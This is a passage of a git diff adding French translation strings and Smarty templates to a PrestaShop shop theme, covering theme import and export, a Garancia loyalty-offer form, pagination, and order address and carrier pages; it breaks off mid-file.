+$_MODULE['<{themeinstallator}default>themeinstallator_a20ddccbb6f808ec42cd66323e6c6061'] = 'Terminer'; +$_MODULE['<{themeinstallator}default>themeinstallator_33167fe8de7517798cf2e95c7680d6a4'] = 'Les thèmes suivants ont correctement été importés'; +$_MODULE['<{themeinstallator}default>themeinstallator_f4ef3a40f287dd9849004a7f5af73f00'] = 'Attention : un module avec le même nom existe déjà'; +$_MODULE['<{themeinstallator}default>themeinstallator_df8703a4066393da85e8188261660717'] = 'Sélectionnez les modules du thème que vous souhaitez installer'; +$_MODULE['<{themeinstallator}default>themeinstallator_7b8e139260e50dd81e70b6ef6910e6f6'] = 'Sélectionnez les modules qui doivent être désactivés pour ce thème'; +$_MODULE['<{themeinstallator}default>themeinstallator_7651cc4a979c5e21ee50de988ce574b0'] = 'Configuration des modules natifs'; +$_MODULE['<{themeinstallator}default>themeinstallator_b63327da4aa6711172df3d4b337a567c'] = 'Cette option détermine quels sont les modules natifs qui doivent être activés/désactivés'; +$_MODULE['<{themeinstallator}default>themeinstallator_c62398aad687870575a4bd6d34d041bb'] = 'Conserver ma configuration actuelle'; +$_MODULE['<{themeinstallator}default>themeinstallator_60c072d9e1166cec2cc60f06a018441c'] = 'Utiliser la configuration proposée par le thème (recommandé)'; +$_MODULE['<{themeinstallator}default>themeinstallator_130c5b3473c57faa76e2a1c54e26f88e'] = 'Les deux'; +$_MODULE['<{themeinstallator}default>themeinstallator_20be6bcfa3d8c557253841bf7b22235a'] = 'Sélectionnez votre boutique qui utilisera ce thème :'; +$_MODULE['<{themeinstallator}default>themeinstallator_10ac3d04253ef7e1ddc73e6091c0cd55'] = 'Suivant'; +$_MODULE['<{themeinstallator}default>themeinstallator_5138a89d1b730dacf446855e15c24496'] = 'Vous êtes sur le point d\'installer le thème suivant'; +$_MODULE['<{themeinstallator}default>themeinstallator_f364da141450380ae79d7a45528f4c06'] = 'Ce thème est pour PrestaShop'; +$_MODULE['<{themeinstallator}default>themeinstallator_ac85d9784348dc8f0c2db93f4a095eb0'] = 'Attention : un thème avec le même nom de dossier existe déjà'; +$_MODULE['<{themeinstallator}default>themeinstallator_8f3ea15c5b87db00561ccde5067310a5'] = 'pour PrestaShop'; +$_MODULE['<{themeinstallator}default>themeinstallator_caeedb303068f9915e8e5ce091c9c02f'] = '(attention : un dossier avec le même nom existe déjà)'; +$_MODULE['<{themeinstallator}default>themeinstallator_2dd99d7426b4fe6dd04d7a98f5e32a62'] = 'Choisissez la variation que vous souhaitez importer'; +$_MODULE['<{themeinstallator}default>themeinstallator_f956917da1716add289f33a8869b85d4'] = 'Thème principal'; +$_MODULE['<{themeinstallator}default>themeinstallator_1e3de51d693cd0c7e903bcf3769a0cdb'] = 'Décochez cette case si vous ne souhaitez pas installer le thème principal.'; +$_MODULE['<{themeinstallator}default>themeinstallator_d0594793a76c7e694f6bf7d4fea06a99'] = 'Nom du thème'; +$_MODULE['<{themeinstallator}default>themeinstallator_0205578268437a2c18d438b434b6d4cf'] = 'Répertoire du thème'; +$_MODULE['<{themeinstallator}default>themeinstallator_c49fbf2b822fd14929fd1fd76cdb0c96'] = 'Sélectionnez les variations que vous souhaitez importer'; +$_MODULE['<{themeinstallator}default>themeinstallator_46e95e2b620606d0e54fdf9094346f79'] = 'Remarque: Le répertoire de la variation sera préfixé par le répertoire du thème.'; +$_MODULE['<{themeinstallator}default>themeinstallator_dc87369c7dd7d760c8076a4e1a3805d0'] = 'Sélectionnez un thème a exporter'; +$_MODULE['<{themeinstallator}default>themeinstallator_d1baba351b02042982a133c4df5d4924'] = 'Exporter un thème'; +$_MODULE['<{themeinstallator}default>themeinstallator_5092965125a28a17f49ee460fbc1f62c'] = 'Sélectionner un thème'; +$_MODULE['<{themeinstallator}default>themeinstallator_0557cae4cf5b379e665910d701210f69'] = 'Exporter ce thème'; +$_MODULE['<{themeinstallator}default>themeinstallator_73b423af0106343c060aefb660e79ff2'] = 'S\'il vout plaît, sélectionnez un thème'; +$_MODULE['<{themeinstallator}default>themeinstallator_7961c4434751797a383d52d647e044d6'] = 'Importer depuis l\'ordinateur'; +$_MODULE['<{themeinstallator}default>themeinstallator_bc52857ec49d8de10e55171f5bbc7f2a'] = 'Fichier d\'archive'; +$_MODULE['<{themeinstallator}default>themeinstallator_24ad8bfdfce09842a83f10d59a8ef01f'] = 'Où se trouve votre fichier zip?'; +$_MODULE['<{themeinstallator}default>themeinstallator_dec0faa6eb19bd9120d12c5a876bd1cf'] = 'Importer depuis le web'; +$_MODULE['<{themeinstallator}default>themeinstallator_a33388a338ee2b199d66112369279558'] = 'URL de l\'archive'; +$_MODULE['<{themeinstallator}default>themeinstallator_cd8d9cc19984ccf9d314eee5eebfc2cc'] = 'Importer à partir du FTP'; +$_MODULE['<{themeinstallator}default>themeinstallator_94f2371003860a92b12bf4c66b2851ac'] = 'Selectionnez l\'archive'; +$_MODULE['<{themeinstallator}default>themeinstallator_43eed730e20e1fc8e2245e20046733ea'] = 'Sélectionnez le fichier ZIP que vous souhaitez utiliser (précédemment téléchargé dans le répertoire %s)'; +$_MODULE['<{themeinstallator}default>themeinstallator_ed5778790800282a0e2044e50ac20de3'] = 'Permission refusé. S\'il vous plaît mettre les permisssions du dossier: %s à 666.'; +$_MODULE['<{themeinstallator}default>themeinstallator_ad8161d79988145440845b927e3708d4'] = 'Remplir ce formulaire pour exporter le thème %s dans un fichier ZIP'; +$_MODULE['<{themeinstallator}default>themeinstallator_1031371f906a92891140f384d04b3421'] = 'Une erreur est survenue durant la génération de l\'archive'; +$_MODULE['<{themeinstallator}default>themeinstallator_2c19b34eebed37ccc288c518006615b3'] = 'Il y a une erreur de syntaxe dans le champ \"email\"!'; +$_MODULE['<{themeinstallator}default>themeinstallator_129b7dae66f0029381da64578a351198'] = 'Il y a une erreur de syntaxe dans le champ \"url\"!'; +$_MODULE['<{themeinstallator}default>themeinstallator_87e0eaf3f9614cb904fafb0d4f4c1f56'] = 'L\'extension du fichier doit être .txt ou .pdf'; +$_MODULE['<{themeinstallator}default>themeinstallator_550a06d4fd147c22a4c921036003abf6'] = 'Une erreur est survenue durant l\'envoi de la documentation'; +$_MODULE['<{themeinstallator}default>themeinstallator_ecd8e7704f6f4f730f6a43bfb24a9546'] = 'Veuillez saisir un nom de documentation valide'; +$_MODULE['<{themeinstallator}default>themeinstallator_623e4ca0275c19c3134b7290fdd19264'] = 'Veuillez saisir un nom d\'auteur valide'; +$_MODULE['<{themeinstallator}default>themeinstallator_a43f1054076c2389afd746ec3d5d1c71'] = 'Veuillez saisir un nom de thème valide'; +$_MODULE['<{themeinstallator}default>themeinstallator_03d105aa95f842fc54b18ca8a73109ca'] = 'Veuillez saisir un nom de variation valide'; +$_MODULE['<{themeinstallator}default>themeinstallator_9891d2e13ad8b753833055c5809a733e'] = 'Erreur de syntaxe dans le champ \"version\". Seuls les nombres et les points sont autorisés, et la compatibilité doit être croissante ou égale.'; +$_MODULE['<{themeinstallator}default>themeinstallator_dd88d85745bba1abfa65cef79472da6a'] = 'Erreur de syntaxe dans le champ \"version\". Seuls les nombres et les points sont autorisés, et la compatibilité doit être croissante ou égale.'; +$_MODULE['<{themeinstallator}default>themeinstallator_bf17ac149e2e7a530c677e9bd51d3fd2'] = 'Modules'; +$_MODULE['<{themeinstallator}default>themeinstallator_714af595b1403ed23ff51f27e863c9a2'] = 'Sélectionnez les modules que vous souhaitez exporter'; +$_MODULE['<{themeinstallator}default>themeinstallator_fa20578667f2e569f2ed1da415126040'] = 'C\'est une liste des modules installés qui ne sont pas natif.'; +$_MODULE['<{themeinstallator}default>themeinstallator_a517747c3d12f99244ae598910d979c5'] = 'Auteur'; +$_MODULE['<{themeinstallator}default>themeinstallator_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{themeinstallator}default>themeinstallator_ce8ae9da5b7cd6c3df2929543a9af92d'] = 'Email'; +$_MODULE['<{themeinstallator}default>themeinstallator_15bbb9d0bbf25e8d2978de1168c749dc'] = 'Site Web'; +$_MODULE['<{themeinstallator}default>themeinstallator_d721757161f7f70c5b0949fdb6ec2c30'] = 'Thème'; +$_MODULE['<{themeinstallator}default>themeinstallator_f4f10e7d35bef4e7b48e76ee4bdeae24'] = 'Le nom de votre thème'; +$_MODULE['<{themeinstallator}default>themeinstallator_b5a7adde1af5c87d7fd797b6245c2a39'] = 'Description'; +$_MODULE['<{themeinstallator}default>themeinstallator_742ec436610daf7b51a1ba94039adf78'] = 'Entrez une courte description de votre thème'; +$_MODULE['<{themeinstallator}default>themeinstallator_34b6cd75171affba6957e308dcbd92be'] = 'Version'; +$_MODULE['<{themeinstallator}default>themeinstallator_7da6f328a4647adb2b96a01a6d7c05c4'] = 'La version de votre thème'; +$_MODULE['<{themeinstallator}default>themeinstallator_333dfbe2bb5c64b140df4607935ec8be'] = 'Compatible à partir de'; +$_MODULE['<{themeinstallator}default>themeinstallator_e12167aa0a7698e6ebc92b4ce3909b53'] = 'Jusqu\'à'; +$_MODULE['<{themeinstallator}default>themeinstallator_a82cac3db0465cfc701f3765fd880019'] = 'Ajouter une documentation'; +$_MODULE['<{themeinstallator}default>themeinstallator_08e27f4e5511f4f6aa73557e6ad6df48'] = 'Donnez un peu d\'aide à l\'utilisateur. Ajoutez un champs en cliquant ici'; +$_MODULE['<{themeinstallator}default>themeinstallator_a508df4b049c5b044cb4568b76b6c7e6'] = 'Ajouter une variation'; +$_MODULE['<{themeinstallator}default>themeinstallator_626bd6acdcd835a5d064ef6358124b6c'] = 'Sélectionnez un autre thème à inclure et sa compatibilité.'; +$_MODULE['<{themeinstallator}default>themeinstallator_ac70412e939d72a9234cdebb1af5867b'] = 'Chemin'; +$_MODULE['<{themeinstallator}default>themeinstallator_5da618e8e4b89c66fe86e32cdafde142'] = 'À partir de'; +$_MODULE['<{themeinstallator}default>themeinstallator_3271e801d0a5db9dc2963a19ed9695d6'] = 'Choisissez un thème'; +$_MODULE['<{themeinstallator}default>themeinstallator_ea4788705e6873b424c65e91c2846b19'] = 'Annuler'; +$_MODULE['<{themeinstallator}default>themeinstallator_abb381ee4077396e5d5d475b9022ba86'] = 'Générer l\'archive maintenant !'; diff --git a/themes/default/my-account.tpl b/themes/default/my-account.tpl new file mode 100755 index 0000000..8b7cfd3 --- /dev/null +++ b/themes/default/my-account.tpl @@ -0,0 +1,35 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture name=path}{l s='My account'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} + \ No newline at end of file diff --git a/themes/default/nbr-product-page.tpl b/themes/default/nbr-product-page.tpl new file mode 100755 index 0000000..0d197dd --- /dev/null +++ b/themes/default/nbr-product-page.tpl @@ -0,0 +1,69 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if isset($p) AND $p} + {if isset($smarty.get.id_category) && $smarty.get.id_category && isset($category)} + {assign var='requestPage' value=$link->getPaginationLink('category', $category, false, false, true, false)} + {assign var='requestNb' value=$link->getPaginationLink('category', $category, true, false, false, true)} + {elseif isset($smarty.get.id_manufacturer) && $smarty.get.id_manufacturer && isset($manufacturer)} + {assign var='requestPage' value=$link->getPaginationLink('manufacturer', $manufacturer, false, false, true, false)} + {assign var='requestNb' value=$link->getPaginationLink('manufacturer', $manufacturer, true, false, false, true)} + {elseif isset($smarty.get.id_supplier) && $smarty.get.id_supplier && isset($supplier)} + {assign var='requestPage' value=$link->getPaginationLink('supplier', $supplier, false, false, true, false)} + {assign var='requestNb' value=$link->getPaginationLink('supplier', $supplier, true, false, false, true)} + {else} + {assign var='requestPage' value=$link->getPaginationLink(false, false, false, false, true, false)} + {assign var='requestNb' value=$link->getPaginationLink(false, false, true, false, false, true)} + {/if} + + {if $nb_products > $products_per_page} +
        +

        + {if isset($search_query) AND $search_query}{/if} + {if isset($tag) AND $tag AND !is_array($tag)}{/if} + + {if is_array($requestNb)} + {foreach from=$requestNb item=requestValue key=requestKey} + {if $requestKey != 'requestUrl'} + + {/if} + {/foreach} + {/if} + + {l s='Products by page'} +

        +
        + {/if} + +{/if} diff --git a/themes/default/new-products.tpl b/themes/default/new-products.tpl new file mode 100755 index 0000000..899f8ba --- /dev/null +++ b/themes/default/new-products.tpl @@ -0,0 +1,53 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture name=path}{l s='New products'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} + +

        {l s='New products'}

        + +{if $products} +
        + {include file="$tpl_dir./pagination.tpl"} + +
        + {include file="./product-sort.tpl"} + {include file="./product-compare.tpl"} + {include file="./nbr-product-page.tpl"} +
        +
        + + {include file="./product-list.tpl" products=$products} + +
        +
        + {include file="./product-sort.tpl"} {include file="./product-compare.tpl"} {include file="./nbr-product-page.tpl"} + +
        + {include file="./pagination.tpl"} +
        + {else} +

        {l s='No new products.'}

        +{/if} diff --git a/themes/default/offrefidelite.tpl b/themes/default/offrefidelite.tpl new file mode 100755 index 0000000..cd156c6 --- /dev/null +++ b/themes/default/offrefidelite.tpl @@ -0,0 +1,246 @@ +{capture name=path}{l s='Offre de fidélité'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} +
        +

        [{l s='Offre de fidélité'}]

        + {if isset($succes) && $succes==1} +

        + {l s='L\'offre de fidélité à été envoyé avec succès par email!'} +

        + {/if} +

        {l s='5 produits achetés = 1 produit Offert* au choix'}

        +

        {l s='Pour profiter de notre avantage fidélité, il vous suffit de nous envoyer à :'} +
        {l s='GARANCIA, Offre Fidélité, 18 Avenue du Recteur Poincaré, 75016 PARIS'}

        +

        {l s='- Vos coordonnées en complétant le formulaire ci-dessous ou en indiquant ces informations au stylo à bille noir et en majuscule sur papier libre :'}

        +
        +
        +

        + id_gender==2} checked="checked"{/if}/> + id_gender==3} checked="checked"{/if}/> + id_gender==1} checked="checked"{/if}/> +

        +

        + + +

        +

        + + +

        +

        + + +

        +

        + + +

        +

        + + +

        +

        + + +

        +

        + + +

        +

        + + + {* + {l s='January'} + {l s='February'} + {l s='March'} + {l s='April'} + {l s='May'} + {l s='June'} + {l s='July'} + {l s='August'} + {l s='September'} + {l s='October'} + {l s='November'} + {l s='December'} + *} + + +

        +

        + + + +

        +

        {l s='- Cochez votre indice de satisfaction sur les produits que vous avez testés :'} +
        {l s='1 = Très satisfaite, 2 = Satisfaite, 3 = Assez satisfaite, 4 = Pas du tout satisfaite'}

        +
        + {if $generationProduits|@count>0} +
        + {assign var=id_category value=false} + + + {foreach from=$generationProduits item=produit} + {if $id_category!=$produit.id_category} + {assign var=id_category value=$produit.id_category} + + + + {/if} + + + + + + + + {/foreach} + +
        + {$produit.categoryName} : +
        {$produit.name}
        + +
        + {/if} + +
        +

        {l s='-Les 5 codes-barres originaux :'} {l s='Découpez les fonds d\'étui ou directement les tubes (pour les produits sans étui).'}

        +

        {l s='-Un chèque bancaire de 8,50 €'} {l s='à l\'ordre du'} {l s='Laboratoire Garancia'} {l s='correspondant à la participation aux frais d\'envoi et de traitement.'}

        +

        {l s='Vous recevrez sous environs 8 semaines votre produit offert.'} +
        {l s='Tout dossier incomplet ou illisible ne sera pas traité.'}

        +

        + {*{l s='Imprimer'}*} + {*{l s='Recevoir par email'} *} + + {l s='Recevoir par email'} +

        + +

        + {l s='Conformément à la loi informatique et libertés du 06/01/78, le consommateur a un droit d\'accès et de rectification sur les données le concernant en écrivant au Service Clients GARANCIA, 18 Avenue du Recteur Pointcaré, 75016 Paris.'} +
        +
        * {l s='Offre valable uniquement en France métropolitaine, Monaco et Corse'} +
        ** {l s='Assurer un meilleur suivi de votre dossier'} +
        *** {l s='Dans la limite des stocks disponibles. En cas de rupture de stock, Garancia se réserve le droit de vous adresser un autre produit.'} +
          +

        +
        + +
        +
        + +
        + {if isset($livredorEnAvant) && $livredorEnAvant|@count>0} + {foreach from=$livredorEnAvant item=livredor} +
        +
        {l s='Le livre d\'or'}
        +

        {$livredor.titre} + + {section name=notation start=1 loop=$livredor.note+1 step=1} + + {/section}{$livredor.prenom} {$livredor.nom|truncate:1:'.'}{if $livredor.age!=""} - {$livredor.age} ans{/if}{if $livredor.ville!=""} - Paris{/if} +
        {$livredor.phrase|strip_tags|truncate:90:"..."}

        +

        {l s='Lire la suite'}

        +
        +
        + {/foreach} + {/if} + {if $getItemVideo|@count>0} + {foreach from=$getItemVideo item=video} +
        + {$video.description} + {**} +
        + {/foreach} + {/if} +
        + + + diff --git a/themes/default/order-address-multishipping-products.tpl b/themes/default/order-address-multishipping-products.tpl new file mode 100755 index 0000000..f21e219 --- /dev/null +++ b/themes/default/order-address-multishipping-products.tpl @@ -0,0 +1,55 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +

        {l s='Choose the delivery addresses'}

        + +
        + + + + + + + + + + + + + {foreach $product_list as $product} + {assign var='productId' value=$product.id_product} + {assign var='productAttributeId' value=$product.id_product_attribute} + {assign var='quantityDisplayed' value=0} + {assign var='odd' value=$product@iteration%2} + {* Display the product line *} + {include file="$tpl_dir./order-address-product-line.tpl" productLast=$product@last productFirst=$product@first} + {/foreach} + +
        {l s='Product'}{l s='Description'}{l s='Ref.'}{l s='Qty'}{l s='Shipping address'}{l s=''}
        +
        diff --git a/themes/default/order-address-multishipping.tpl b/themes/default/order-address-multishipping.tpl new file mode 100755 index 0000000..8b8359c --- /dev/null +++ b/themes/default/order-address-multishipping.tpl @@ -0,0 +1,213 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if $opc} + {assign var="back_order_page" value="order-opc.php"} +{else} + {assign var="back_order_page" value="order.php"} +{/if} + +{* Will be deleted for 1.5 version and more *} +{if !isset($formatedAddressFieldsValuesList)} + {$ignoreList.0 = "id_address"} + {$ignoreList.1 = "id_country"} + {$ignoreList.2 = "id_state"} + {$ignoreList.3 = "id_customer"} + {$ignoreList.4 = "id_manufacturer"} + {$ignoreList.5 = "id_supplier"} + {$ignoreList.6 = "date_add"} + {$ignoreList.7 = "date_upd"} + {$ignoreList.8 = "active"} + {$ignoreList.9 = "deleted"} + + {* PrestaShop 1.4.0.17 compatibility *} + {if isset($addresses)} + {foreach from=$addresses key=k item=address} + {counter start=0 skip=1 assign=address_key_number} + {$id_address = $address.id_address} + {foreach from=$address key=address_key item=address_content} + {if !in_array($address_key, $ignoreList)} + {$formatedAddressFieldsValuesList.$id_address.ordered_fields.$address_key_number = $address_key} + {$formatedAddressFieldsValuesList.$id_address.formated_fields_values.$address_key = $address_content} + {counter} + {/if} + {/foreach} + {/foreach} + {/if} +{/if} + + + +{if !$opc} +{capture name=path}{l s='Addresses'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} +{/if} + +{if !$opc}

        {l s='Addresses'}

        {else}

        1 {l s='Addresses'}

        {/if} + +{if !$opc} +{assign var='current_step' value='address'} +{include file="$tpl_dir./order-steps.tpl"} +{include file="$tpl_dir./errors.tpl"} + +{include file="$tpl_dir./order-address-multishipping-products.tpl"} + +
        +{else} +
        + +{/if} +
        + +

        id_address_invoice == $cart->id_address_delivery}style="display: none;"{/if}> + + {if $addresses|@count >= 1} + + + {else} + {l s='Add a new address'} + {/if} +

        +
        +
          +
        +
        +

        + » {l s='Add a new address'} +

        + {if !$opc} +
        +

        {l s='If you would like to add a comment about your order, please write it in the field below.'}

        +

        +
        + {/if} +
        +{if !$opc} +

        + + + {if $back} + « {l s='Previous'} + {else} + « {l s='Previous'} + {/if} + +

        + +{else} +
        +{/if} diff --git a/themes/default/order-address-product-line.tpl b/themes/default/order-address-product-line.tpl new file mode 100755 index 0000000..4e7acf0 --- /dev/null +++ b/themes/default/order-address-product-line.tpl @@ -0,0 +1,82 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + {$product.name|escape:'htmlall':'UTF-8'} + + +

        {$product.name|escape:'htmlall':'UTF-8'}

        + {if isset($product.attributes) && $product.attributes}{$product.attributes|escape:'htmlall':'UTF-8'}{/if} + + {if $product.reference}{$product.reference|escape:'htmlall':'UTF-8'}{else}--{/if} + + {if isset($cannotModify) AND $cannotModify == 1} + {if $quantityDisplayed == 0 AND isset($customizedDatas.$productId.$productAttributeId)}{$customizedDatas.$productId.$productAttributeId|@count}{else}{$product.cart_quantity-$quantityDisplayed}{/if} + {else} + {if !isset($customizedDatas.$productId.$productAttributeId) OR $quantityDisplayed > 0} +
        + {l s='Add'}
        + {if $product.minimal_quantity < ($product.cart_quantity-$quantityDisplayed) OR $product.minimal_quantity <= 1} + + {l s='Subtract'} + + {else} + + {l s='Subtract'} + + {/if} +
        + + + + {/if} + {/if} + + +
        + + + +
        + + + + \ No newline at end of file diff --git a/themes/default/order-address.tpl b/themes/default/order-address.tpl new file mode 100755 index 0000000..d52f0d5 --- /dev/null +++ b/themes/default/order-address.tpl @@ -0,0 +1,335 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if $opc} + {assign var="back_order_page" value="order-opc.php"} +{else} + {assign var="back_order_page" value="order.php"} +{/if} + +{* +** Retro compatibility for PrestaShop version < 1.4.2.5 with a recent theme +** Syntax smarty for v2 +*} + +{* Will be deleted for 1.5 version and more *} +{if !isset($formatedAddressFieldsValuesList)} + {$ignoreList.0 = "id_address"} + {$ignoreList.1 = "id_country"} + {$ignoreList.2 = "id_state"} + {$ignoreList.3 = "id_customer"} + {$ignoreList.4 = "id_manufacturer"} + {$ignoreList.5 = "id_supplier"} + {$ignoreList.6 = "date_add"} + {$ignoreList.7 = "date_upd"} + {$ignoreList.8 = "active"} + {$ignoreList.9 = "deleted"} + + {* PrestaShop 1.4.0.17 compatibility *} + {if isset($addresses)} + {foreach from=$addresses key=k item=address} + {counter start=0 skip=1 assign=address_key_number} + {$id_address = $address.id_address} + {foreach from=$address key=address_key item=address_content} + {if !in_array($address_key, $ignoreList)} + {$formatedAddressFieldsValuesList.$id_address.ordered_fields.$address_key_number = $address_key} + {$formatedAddressFieldsValuesList.$id_address.formated_fields_values.$address_key = $address_content} + {counter} + {/if} + {/foreach} + {/foreach} + {/if} +{/if} + + + + {capture name=path}{l s='Ma livraison'}{/capture} + {include file="$tpl_dir./breadcrumb.tpl"} +
        +

        [{l s='Ma livraison'}]

        + + {if isset($smarty.get.choice_mondial_relay)} + {if $smarty.get.choice_mondial_relay == 0} +

        {l s='Please select a relay Point'}

        + {/if} + {/if} + + {assign var="current_step" value="shipping"} + {include file="$tpl_dir./order-opc-steps.tpl"} +
        +
        +

        + + + + {l s='Retour'} +

        +
        + + {include file="$tpl_dir./order-carrier-simple.tpl"} + +{if !$opc} + {include file="$tpl_dir./errors.tpl"} + +{else} +
        + +{/if} +
        +

        + + + + {l s='Add a new address'} + {l s='Modifier'} +

        + +
          isVirtualCart()}style="display:none;"{/if}> +
        +
        +

        {l s='Adresse de facturation'}

        +
        +

        + id_address_invoice == $cart->id_address_delivery || $addresses|@count == 1} checked="checked"{/if}/> + +

        +

        + id_address_invoice != $cart->id_address_delivery} checked="checked"{/if}/> + +

        +
        +
        +

        id_address_invoice == $cart->id_address_delivery}style="display: none;"{/if}> + + {if $addresses|@count > 1} + + + {else} + {l s='Add a new address'} + {/if} +

        +
        +
          +
        +
        +
        + + +
        + {if $giftAllowed} +
        +
        +

        {l s='Vous souhaitez faire un cadeau ?'}

        +

        {l s='Personnalisez la carte cadeau qui accompagnera votre colis'}

        +

        + gift == 1 && $total_products_wt>=60}checked="checked"{/if} /> + + {if $gift_wrapping_price > 0} + + {/if} +

        + + +
        +
        +

        {l s='If you would like to add a comment about your order, please write it in the field below.'}

        +

        +
        +
        + {/if} +
        +
        +{if !$opc} +

        + + + {l s='Retour'} +

        +
        + +{else} +{/if} + + +
        +
        +
        \ No newline at end of file diff --git a/themes/default/order-carrier-save.tpl b/themes/default/order-carrier-save.tpl new file mode 100755 index 0000000..abb753d --- /dev/null +++ b/themes/default/order-carrier-save.tpl @@ -0,0 +1,307 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{if !$opc} + +{else} + +{/if} + +{if isset($virtual_cart) && !$virtual_cart && $giftAllowed && $cart->gift == 1} + +{/if} + +{if !$opc} + {capture name=path}{l s='Shipping:'}{/capture} + {include file="$tpl_dir./breadcrumb.tpl"} +{/if} + +{if 